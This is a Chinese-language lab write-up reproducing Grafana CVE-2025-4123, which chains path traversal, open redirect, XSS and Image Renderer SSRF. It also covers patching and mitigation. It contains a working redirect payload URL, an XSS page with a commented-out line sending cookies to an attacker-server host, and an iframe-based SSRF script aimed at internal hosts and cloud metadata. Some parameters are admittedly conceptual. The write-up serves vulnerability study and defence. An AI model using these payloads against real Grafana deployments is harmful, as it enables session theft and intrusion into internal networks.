Grafana CVE-2025-4123漏洞复现：从路径遍历到SSRF的攻击链剖析 1. 项目概述与漏洞背景最近在安全圈里一个关于Grafana的漏洞讨论热度很高编号是CVE-2025-4123。这个漏洞的特别之处在于它不是一个单一的问题而是一个“组合拳”将跨站脚本、开放重定向和服务器端请求伪造这三种常见的Web安全问题串联了起来形成了一个杀伤链。简单来说攻击者可以利用这个漏洞在未授权或低权限的情况下诱导Grafana用户访问恶意链接进而执行任意代码甚至探测和攻击内网服务。我花了一些时间在可控的测试环境中复现了这个漏洞整个过程下来感觉这个漏洞的利用链设计得相当巧妙也再次提醒我们在复杂的现代Web应用中一个看似微小的路径处理不当可能会引发连锁反应。Grafana作为一款广泛使用的数据可视化和监控平台很多企业都将其部署在内网用于展示Prometheus、InfluxDB等系统的监控数据。默认情况下为了便于团队协作查看管理员可能会开启匿名访问。而CVE-2025-4123正是在这种配置下威胁被放大。它不需要受害者具备高权限的“编辑者”角色普通查看者甚至匿名用户都可能中招。这个漏洞影响范围很广从Grafana 8.x到最新的12.x版本无论是开源版还是企业版只要没打补丁理论上都存在风险。不过官方反应很快在漏洞细节被公开披露前就提前发布了安全更新。对于我们安全研究或运维人员来说理解这个漏洞的原理和复现过程不仅能帮助我们验证自身系统的安全性更能深刻体会到安全配置和及时更新的重要性。2. 漏洞原理深度拆解要理解CVE-2025-4123我们不能把它看作三个独立的漏洞而是一个由前端到后端、由客户端到服务端的完整攻击链。它的根源在于Grafana处理“自定义前端插件”加载路径时的逻辑缺陷。2.1 核心触发点前端插件路径遍历Grafana支持用户安装自定义的前端插件来扩展功能。这些插件通常是一些JavaScript、CSS和HTML文件的集合。当Grafana加载一个插件时它会根据插件ID构造一个资源请求路径。漏洞就出在这个路径构造的过程中。攻击者可以构造一个特殊的恶意插件ID其中包含路径遍历序列例如../或..\。正常情况下请求路径可能类似于/public/plugins/your-plugin-id/plugin.js。但如果攻击者将your-plugin-id设置为../../../evil/path#经过Grafana某些特定接口如用于插件资源代理或重定向的端点的处理后这个路径可能被错误地解析和拼接。关键点在于Grafana未能对用户输入的插件ID进行充分的规范化Canonicalization和路径穿越检查导致攻击者可以“跳出”预期的插件目录指向系统其他位置或构造出异常的重定向URL。2.2 从路径遍历到开放重定向路径遍历本身可能造成信息泄露但在这个漏洞中它被巧妙地用于触发开放重定向Open Redirect。开放重定向是指应用将用户重定向到一个由攻击者控制的、任意的外部URL。攻击者可以构造这样一个请求使得Grafana的某个端点例如与插件预览或资源加载相关的端点返回一个302重定向响应其Location头指向一个恶意网站比如https://attacker.com/steal-cookie。当受害者一个已登录的Grafana用户点击了攻击者精心构造的链接时他们的浏览器会自动跳转到这个恶意网站。在这个过程中浏览器会携带该Grafana站点的会话Cookie如果Cookie未设置HttpOnlyJavaScript甚至可以直接读取。这就为会话劫持打开了大门。更危险的是如果Grafana实例开启了匿名访问那么无需任何登录任何访问该链接的用户都会中招。2.3 开放重定向升级为XSS开放重定向通常用于网络钓鱼但在这个漏洞链中它进一步成为了存储型XSS的跳板。攻击者可以将重定向目标指向一个包含恶意JavaScript代码的URL。由于重定向发生在Grafana的域名上下文中至少用户看来是从Grafana站点的地址跳出的一些严格的内容安全策略可能会被绕过。一种典型的利用方式是结合数据URI协议或JavaScript伪协议。例如攻击者可能构造一个重定向到javascript:alert(document.cookie)的链接尽管现代浏览器对此有严格限制或者更隐蔽地重定向到一个攻击者控制的、返回恶意HTML/JS内容的页面并通过参数传递payload。当用户被重定向后恶意脚本就在用户的浏览器会话中执行能够窃取会话令牌、篡改页面内容、甚至以用户身份发起进一步请求。2.4 结合Image Renderer插件实现SSRF这是整个漏洞链中最具威胁的一环。Grafana有一个官方的“Image Renderer”插件用于将仪表盘渲染成图片例如用于邮件报警。这个插件本质上是一个无头浏览器如Chromium运行在服务端可以访问Grafana服务器所在的内部网络。攻击者通过上述XSS漏洞可以以受害用户的身份向Grafana服务器发起一个请求要求使用Image Renderer插件渲染一个“仪表盘”。而这个“仪表盘”的URL可以由攻击者通过XSS脚本指定。如果攻击者将URL指向内网服务如http://169.254.169.254/latest/meta-data/AWS元数据服务或http://192.168.1.1:8080/adminImage Renderer插件就会代表Grafana服务器去访问这个内部URL并将获取到的内容渲染成图片。最终攻击者可以通过XSS脚本将渲染好的图片数据提取并外传从而实现了服务器端请求伪造。这意味着攻击者可以通过一个已登录用户的浏览器作为中介让Grafana服务器去探测和攻击其所在内网的其他系统可能窃取云元数据、访问内部管理界面等严重威胁内网安全。注意SSRF的利用成功与否高度依赖于Grafana服务器所在的网络环境、Image Renderer插件的配置以及目标内网服务的认证机制。但作为一种攻击可能性其风险不容忽视。3. 漏洞复现环境搭建为了安全、合法地研究这个漏洞我们必须在一个隔离的本地环境中进行。绝对不要在公网或生产环境上测试。以下是详细的搭建步骤。3.1 准备测试环境我选择使用Docker来快速搭建一个包含漏洞版本的Grafana环境这是最干净、最易还原的方式。首先创建一个专门的工作目录并编写docker-compose.yml文件。我们需要指定一个受影响的版本例如grafana/grafana:11.0.0该版本在影响范围内。同时为了模拟完整的攻击链我们还需要启动一个用于接收攻击payload的简易HTTP服务器以及一个模拟的内网脆弱服务。version: 3.8 services: # 存在漏洞的Grafana实例 vulnerable-grafana: image: grafana/grafana:11.0.0 # 使用一个受影响的旧版本 container_name: vuln-grafana ports: - 3000:3000 # Grafana Web界面 environment: - GF_SECURITY_ADMIN_PASSWORDadmin # 设置默认管理员密码 - GF_INSTALL_PLUGINSgrafana-image-renderer # 预安装Image Renderer插件这对SSRF利用很重要 - GF_RENDERING_SERVER_URLhttp://renderer:8081/render - GF_RENDERING_CALLBACK_URLhttp://grafana:3000/ - GF_LOG_FILTERSrendering:debug volumes: - grafana-data:/var/lib/grafana networks: - vuln-net # Grafana Image Renderer 服务 (独立容器模式) renderer: image: grafana/grafana-image-renderer:latest container_name: grafana-renderer ports: - 8081:8081 environment: - ENABLE_METRICSfalse - HTTP_HOST0.0.0.0 - PORT8081 networks: - vuln-net # 模拟的攻击者服务器用于托管恶意JS和接收被盗数据 attacker-server: image: python:3.9-alpine container_name: attacker-server ports: - 9999:8000 volumes: - ./attacker_payload:/app working_dir: /app command: python -m http.server 8000 networks: - vuln-net # 模拟的内网脆弱服务用于演示SSRF internal-victim: image: vulhub/nginx:latest container_name: internal-victim expose: - 80 networks: - vuln-net # 这个服务只在内部网络可访问外部无法直接访问 networks: vuln-net: driver: bridge volumes: grafana-data:在这个配置中我们创建了一个独立的桥接网络vuln-net。vulnerable-grafana和internal-victim都连接在这个网络上模拟了Grafana服务器与内网服务在同一内网的环境。attacker-server也在这个网络中方便Grafana容器访问用于模拟开放重定向到恶意域名同时我们将其端口9999映射到宿主机方便我们从浏览器直接访问它来查看结果。3.2 启动与基础配置在终端中进入存放docker-compose.yml的目录执行启动命令docker-compose up -d等待所有容器启动完毕。然后访问http://localhost:3000使用默认账号admin和密码admin登录Grafana。为了让漏洞更容易被触发我们需要进行几项关键配置启用匿名访问可选但能体现漏洞严重性 登录后点击左侧导航栏的Administration齿轮图标-Authentication-Anonymous。将Hide version和Enabled都打开。这样无需登录即可访问Grafana的公开仪表盘。这模拟了某些企业为了方便内部查看监控而采用的配置。验证Image Renderer插件 点击Administration-Plugins搜索Image Renderer确认其状态为已安装且已启用。你也可以在Administration-System-Reporting下的Image renderer部分看到其配置状态。准备攻击者服务器 在宿主机的工作目录下创建attacker_payload文件夹并在其中放置我们的恶意脚本文件例如steal.js。稍后我们会编写具体的攻击载荷。3.3 环境验证与网络拓扑理解启动后验证各个服务是否正常Grafana:http://localhost:3000应能正常访问。攻击者服务器http://localhost:9999应显示文件目录列表。内网受害者服务从宿主机无法直接访问因为只暴露在vuln-net但可以从Grafana容器内部访问。我们可以通过docker exec命令验证docker exec vuln-grafana curl -s http://internal-victim这条命令应该在Grafana容器内部执行并成功获取到Nginx的默认欢迎页面。这证明了Grafana服务器可以访问内网服务为后续的SSRF利用奠定了基础。现在的网络拓扑是你的浏览器外部 - Grafana (localhost:3000) -[内网]- Internal Victim。攻击者服务器(localhost:9999)在宿主机网络对Grafana容器表现为一个外部地址。4. 漏洞复现实操步骤环境就绪后我们开始一步步复现这个组合漏洞。我们将按照漏洞链的升级顺序先触发开放重定向再利用其实现XSS最后尝试组合Image Renderer进行SSRF。4.1 触发开放重定向根据公开的漏洞信息触发点通常与插件资源加载或预览的API有关。经过对受影响版本代码的审计或参考社区PoC发现一个可能的触发端点是与/public/plugins/路径处理相关的重定向逻辑。我们可以构造一个特殊的URL尝试触发重定向。打开浏览器保持未登录状态或使用隐身窗口访问以下URL注意替换为你实际的Grafana地址和攻击者服务器地址http://localhost:3000/public/plugins/alertlist/../../../../avatar/%23/../../../attacker-server:9999/evil.png这个URL看起来复杂我们来拆解一下/public/plugins/alertlist/这是一个Grafana存在的合法插件路径用于绕过一些基础检查。/../../../../avatar/%23/这里使用了多层路径遍历(..)和URL编码的#(%23)。#在URL中常用于片段标识但在某些处理逻辑中可能被不当解析用于截断路径。avatar是Grafana的一个合法路径。/../../../attacker-server:9999/evil.png最终路径试图向上遍历并跳转到一个完全外部的地址attacker-server:9999。由于Docker网络解析attacker-server这个主机名在我们的docker-compose网络中指向攻击者服务器容器。如果漏洞存在Grafana服务器在处理这个URL时会因为路径规范化逻辑错误最终返回一个302 Found重定向响应其Location头指向http://attacker-server:9999/evil.png。你的浏览器会立即跳转到这个地址。实操验证打开浏览器开发者工具F12切换到Network网络选项卡并勾选Preserve log保留日志。在地址栏输入上述构造的URL并访问。观察网络请求列表。你应该能看到第一个请求对我们构造的URL的响应状态码是302。查看该响应的Response Headers应该能看到一个Location: http://attacker-server:9999/evil.png这样的头部。紧接着浏览器会自动发起第二个请求去访问Location指向的地址。由于attacker-server:9999在我们的测试环境中可能没有/evil.png这个资源所以第二个请求可能会返回404。但这已经证明了开放重定向漏洞的存在。注意具体的路径遍历和截断字符可能因Grafana版本和具体代码分支而略有差异。上述PoC是基于公开信息的典型构造。如果失败可能需要尝试调整..的层数或使用不同的截断字符如?,#等。4.2 利用重定向实现XSS单纯的开放重定向危害有限。接下来我们尝试将其升级为XSS。目标是让被重定向的页面执行JavaScript代码。由于现代浏览器对javascript:伪协议在重定向Location头中的使用限制非常严格更可靠的方法是让重定向指向一个由攻击者控制的、包含恶意脚本的页面。首先在attacker_payload目录下创建一个HTML文件命名为xss.html内容如下!DOCTYPE html html head titleLoading.../title /head body h1Oops, something went wrong with Grafana./h1 script // 简单的XSS PoC弹窗显示当前页面的Cookie alert(XSS Executed! Cookies: document.cookie); // 在实际攻击中这里会将Cookie发送到攻击者的服务器 // fetch(http://attacker-server:9999/steal?data encodeURIComponent(document.cookie)); console.log(Page URL: , window.location.href); console.log(Referrer: , document.referrer); /script /body /html然后我们修改之前的利用URL让重定向指向这个HTML页面http://localhost:3000/public/plugins/alertlist/../../../../avatar/%23/../../../attacker-server:9999/xss.html实操验证确保攻击者服务器正在运行python -m http.server 8000。在浏览器中访问上述新构造的URL。如果漏洞触发成功浏览器会先向Grafana发送请求收到302重定向响应。浏览器随后自动请求http://attacker-server:9999/xss.html。加载该页面后其中的JavaScript代码会执行弹出一个警告框显示“XSS Executed! Cookies: ...”。如果此时你是已登录Grafana的状态并且Cookie未设置HttpOnly你可能会看到会话Cookie信息。这就成功地将开放重定向转化为了一个反射型XSS。攻击者可以通过钓鱼邮件、论坛帖子等方式散布这个精心构造的Grafana URL诱骗已登录用户点击从而在用户的浏览器上下文中执行恶意脚本。4.3 升级利用结合Image Renderer实现SSRF这是最复杂也是危害最大的一步。我们需要利用XSS以用户身份向Grafana发起一个“渲染仪表盘为图片”的请求并在这个请求中指定一个内网URL作为渲染目标从而让Grafana服务器通过Image Renderer插件去访问内网资源。步骤一准备恶意仪表盘可选理论上我们可以通过Grafana API动态创建一个临时的数据源和仪表盘但为了简化我们可以直接尝试渲染一个不存在的仪表盘ID而将攻击载荷放在请求的dashboard参数或orgId参数中取决于具体API。更直接的方式是利用Grafana的“直接链接渲染”功能如果存在。步骤二构造XSS Payload发起渲染请求我们需要修改xss.html中的脚本使其在受害者浏览器中自动、静默地发起一个到Grafana渲染API的请求。在attacker_payload目录下创建ssrf.js// 这是一个简化的PoC实际利用可能需要处理认证和更复杂的参数 (function() { // 假设受害者已经登录浏览器会自动携带Cookie const grafanaBase http://vulnerable-grafana:3000; // 注意在受害者浏览器中这是Grafana的地址 const renderApi ${grafanaBase}/render/d-solo/undefined; // 使用一个不存在的仪表盘ID // 或者使用 /render/dashboard/script/... 等端点具体需根据版本确定 // 构造一个指向内网服务的URL作为渲染目标 const internalTarget http://internal-victim/; // 这是我们docker-compose中模拟的内网服务 // 也可以是云元数据地址http://169.254.169.254/latest/meta-data/ const params new URLSearchParams({ orgId: 1, from: now-5m, to: now, width: 1000, height: 500, tz: UTC, // 关键尝试将攻击载荷注入到面板配置或变量中诱导渲染器访问internalTarget // 这里是一个概念性参数实际参数名需要根据渲染接口确定 panelId: 0, var-host: internalTarget // 假设有一个名为‘host’的变量我们尝试控制它 }); const maliciousUrl ${renderApi}?${params.toString()}; // 创建一个隐藏的iframe来触发渲染请求 const iframe document.createElement(iframe); iframe.style.display none; iframe.src maliciousUrl; document.body.appendChild(iframe); console.log(SSRF payload triggered via iframe to: , maliciousUrl); // 监听iframe的加载尝试读取结果复杂通常需要同源或CORS允许 // iframe.onload function() { ... }; })();然后更新xss.html引入这个脚本。步骤三模拟攻击流程攻击者将包含上述ssrf.js的恶意页面托管在attacker-server:9999/xss-ssrf.html。攻击者诱骗已登录Grafana的管理员或任何有权限触发渲染的用户点击链接http://localhost:3000/public/plugins/alertlist/../../../../avatar/%23/../../../attacker-server:9999/xss-ssrf.html受害者点击后浏览器被重定向到恶意页面脚本自动执行。脚本在受害者浏览器中以受害者的身份向Grafana的渲染接口发起一个请求请求中包含了指向内网服务http://internal-victim/的参数。Grafana服务器收到请求后调用Image Renderer插件。该插件启动一个无头浏览器访问http://internal-victim/因为它在Grafana服务器所在的容器内可以访问这个地址。Image Renderer将获取到的页面渲染成图片返回给GrafanaGrafana再返回给受害者的浏览器通过最初的请求。攻击者需要从最终返回的图片中提取信息。这通常需要另一个步骤例如让XSS脚本将渲染得到的图片数据可能是Base64编码通过另一个请求发送回攻击者的服务器。实操难点与验证端点与参数实际的渲染端点、参数名和注入点需要精确分析Grafana对应版本的源代码或已有PoC。上述/render/d-solo/是一个常见的端点但参数注入不一定在var-*。同源策略与CORS由于恶意页面(attacker-server:9999)与Grafana(localhost:3000)不同源XSS脚本发起的fetch或XMLHttpRequest请求会受到同源策略限制。使用隐藏的iframe是绕过某些限制的一种方式但读取iframe内容仍需解决跨域问题。在实际攻击中攻击者可能会寻找Grafana中允许跨域请求的端点或者利用JSONP等特性。结果外传将渲染得到的内网页面内容以图片形式提取并外传需要额外的步骤可能涉及将图片转换为Canvas再读取像素数据或利用Grafana的某些API将渲染结果直接返回给请求者。由于完整的、可自动外传数据的SSRF利用链构造非常复杂且高度依赖具体版本在测试环境中我们可以简化验证直接登录Grafana手动调用渲染API并指定内网地址观察Image Renderer的日志看它是否确实发起了对内网服务的请求。# 查看Image Renderer容器的日志 docker logs -f grafana-renderer然后在Grafana界面或通过API工具手动触发一个渲染请求如果能在renderer日志中看到它对internal-victim的HTTP请求记录就证明了SSRF的可行性。这结合之前的XSS就构成了完整的攻击链。5. 漏洞修复与缓解措施复现漏洞是为了更好地防御。Grafana官方在漏洞披露后迅速发布了修复版本。以下是应对措施。5.1 官方补丁升级最根本的解决方法是升级到已修复的Grafana版本。Grafana Labs为所有受支持的主线版本发布了安全更新Grafana 12.0.0 → 升级到grafana-12.0.0security-01Grafana 11.9.x → 升级到grafana-11.9.xsecurity-01(例如 11.9.3security-01)Grafana 11.6.x → 升级到grafana-11.6.xsecurity-01Grafana 11.5.x → 升级到grafana-11.5.4security-01Grafana 11.4.x → 升级到grafana-11.4.4security-01Grafana 11.3.x → 升级到grafana-11.3.6security-01对于使用包管理器如apt、yum或Docker镜像的用户更新到相应仓库或标签的最新安全版本即可。升级前务必做好配置和数据备份。5.2 临时缓解方案如果因故无法立即升级可以采取以下缓解措施降低风险实施严格的内容安全策略 在Grafana的配置文件grafana.ini中添加或强化Content-Security-Policy头。一个严格的CSP能有效阻断XSS payload的执行。例如[security] content_security_policy default-src self; script-src self unsafe-eval unsafe-inline https://grafana.com; style-src self unsafe-inline; img-src * data:; font-src self; connect-src self wss://*.grafana.net;注意过于严格的CSP可能会影响部分插件或功能需要根据实际情况调整并充分测试。禁用或严格限制匿名访问 检查grafana.ini中的[auth.anonymous]部分确保enabled false除非业务必须。如果必须开启将org_role设置为Viewer等最低权限并确保匿名用户无法访问敏感的管理界面或API。网络层隔离将Grafana实例部署在内网并通过反向代理如Nginx, Apache对外提供访问在反向代理层实施额外的安全规则如对请求路径进行严格的过滤阻止包含大量..或特殊字符的请求。严格限制Grafana服务器尤其是Image Renderer服务的出站网络连接。使用防火墙规则只允许其访问必要的监控数据源如Prometheus, InfluxDB阻断所有到互联网和无关内网段的连接。这可以极大限制SSRF攻击的影响面。审计与监控启用Grafana的详细日志并监控日志中异常的路径访问请求包含../、..\、#、%23等。监控Image Renderer插件的调用频率和渲染目标URL对于渲染非预期域名或IP地址的请求进行告警。5.3 安全配置最佳实践除了应对此特定漏洞一些通用的Grafana安全配置也至关重要最小权限原则为服务账户和用户分配最小必需的权限。不要使用管理员账户进行日常查看。定期更新订阅Grafana安全公告建立定期更新机制。插件管理仅从官方或可信来源安装插件并定期审查已安装的插件。HTTPS强制始终通过HTTPS访问Grafana防止中间人攻击窃取会话Cookie。安全的Cookie设置确保会话Cookie设置了HttpOnly和Secure属性如果使用HTTPS。6. 复现过程中的常见问题与排查在复现CVE-2025-4123的过程中你可能会遇到一些问题。这里记录了我踩过的一些坑和解决方法。6.1 环境搭建问题问题1Docker容器启动失败端口冲突。排查使用docker ps和netstat -tulpn | grep :3000Linux/Mac或Get-NetTCPConnection -LocalPort 3000PowerShell检查3000、9999等端口是否已被占用。解决修改docker-compose.yml中的端口映射例如将3000:3000改为3001:3000然后访问http://localhost:3001。问题2Image Renderer插件无法连接或渲染失败。排查查看Grafana日志docker logs vuln-grafana和 Renderer日志docker logs grafana-renderer。常见错误是网络不通或版本不兼容。解决确保docker-compose.yml中GF_RENDERING_SERVER_URL和GF_RENDERING_CALLBACK_URL配置正确主机名renderer和grafana能在容器网络内解析。尝试使用更匹配Grafana版本的Image Renderer镜像标签例如grafana/grafana-image-renderer:3.10.0。问题3构造的漏洞利用URL返回404或400而非302。排查版本差异公开的PoC可能针对特定小版本。确认你的Grafana镜像版本是否在确切的影响范围内。尝试调整路径遍历的层数..的数量。编码问题确保#被正确编码为%23。有时?也可能被用作截断。插件路径/public/plugins/alertlist/是Grafana内置插件。确保这个插件存在。也可以尝试其他内置插件路径如/public/plugins/grafana-piechart-panel/。查看日志docker logs vuln-grafana可能会记录处理该请求时的错误信息有助于调整payload。6.2 漏洞利用问题问题1开放重定向成功但XSS弹窗没有执行。排查浏览器安全策略现代浏览器对从重定向加载的页面中的脚本执行有严格限制。检查浏览器控制台F12 - Console是否有CSP违规错误。攻击者页面内容确认attacker-server容器正在运行并且xss.html文件已正确放置在挂载的目录中可以通过http://localhost:9999/xss.html直接访问并看到弹窗。Cookie获取如果弹窗执行了但没显示Cookie可能是因为Grafana的会话Cookie设置了HttpOnly属性JavaScript无法通过document.cookie读取。这是Grafana的安全加固但XSS仍然可以发起伪造请求CSRF攻击。问题2SSRF利用无法验证不知道Image Renderer是否访问了内网服务。排查网络可达性首先确保从Grafana容器内部可以访问目标内网服务。使用docker exec vuln-grafana curl http://internal-victim测试。渲染端点与参数手动测试渲染功能是否正常。在Grafana界面对一个正常的仪表盘尝试“分享” - “直接链接渲染图像”获取一个渲染URL。分析这个URL的结构和参数模仿它来构造恶意请求。日志监控这是最关键的。同时打开三个终端分别运行# 终端1: 跟踪Grafana应用日志 docker logs -f vuln-grafana 21 | grep -i render # 终端2: 跟踪Image Renderer服务日志 docker logs -f grafana-renderer # 终端3: 跟踪模拟内网服务的访问日志如果用的是nginx镜像 docker exec internal-victim tail -f /var/log/nginx/access.log然后触发你的XSS payload或手动发送渲染请求。观察grafana-renderer和internal-victim的日志中是否有新的HTTP请求记录。如果在internal-victim的访问日志中看到了来自Renderer容器IP的请求那么SSRF就成功了。6.3 经验与技巧PoC的灵活性漏洞利用的精确路径如/public/plugins/alertlist/../../../../avatar/%23/..可能像一把精密的钥匙。如果公开的PoC不工作不要灰心。尝试用Burp Suite或浏览器开发者工具拦截一个正常的插件资源请求观察其路径模式然后在其基础上精心构造遍历序列。有时多一个或少一个..或者换一个“锚点”路径如把avatar换成login结果可能完全不同。理解漏洞本质这个漏洞的根本是路径规范化问题。在测试时可以尝试用curl -v或Burp Repeater手动发送各种畸形路径的请求观察服务器的响应头特别是Location和任何错误信息这能帮你更快地找到有效的遍历方式。分阶段验证不要试图一步到位完成整个攻击链。先验证开放重定向看302响应再验证XSS看脚本执行最后再挑战复杂的SSRF。每步成功了再组合起来。善用对比在测试漏洞版本的同时可以在另一个容器中启动一个已修复的Grafana版本如grafana/grafana:12.0.0security-01。对同一个恶意URL对比两个版本的响应差异能帮你更直观地理解补丁修复了什么。安全边界整个复现过程再次强调了安全边界的重要性。即使是一个前端的路径处理bug在结合了服务端插件Image Renderer和特殊的网络配置内网访问后其危害性被急剧放大。在设计系统架构时必须对任何可以发起网络请求的服务端组件尤其是无头浏览器这种“瑞士军刀”施加严格的网络访问控制。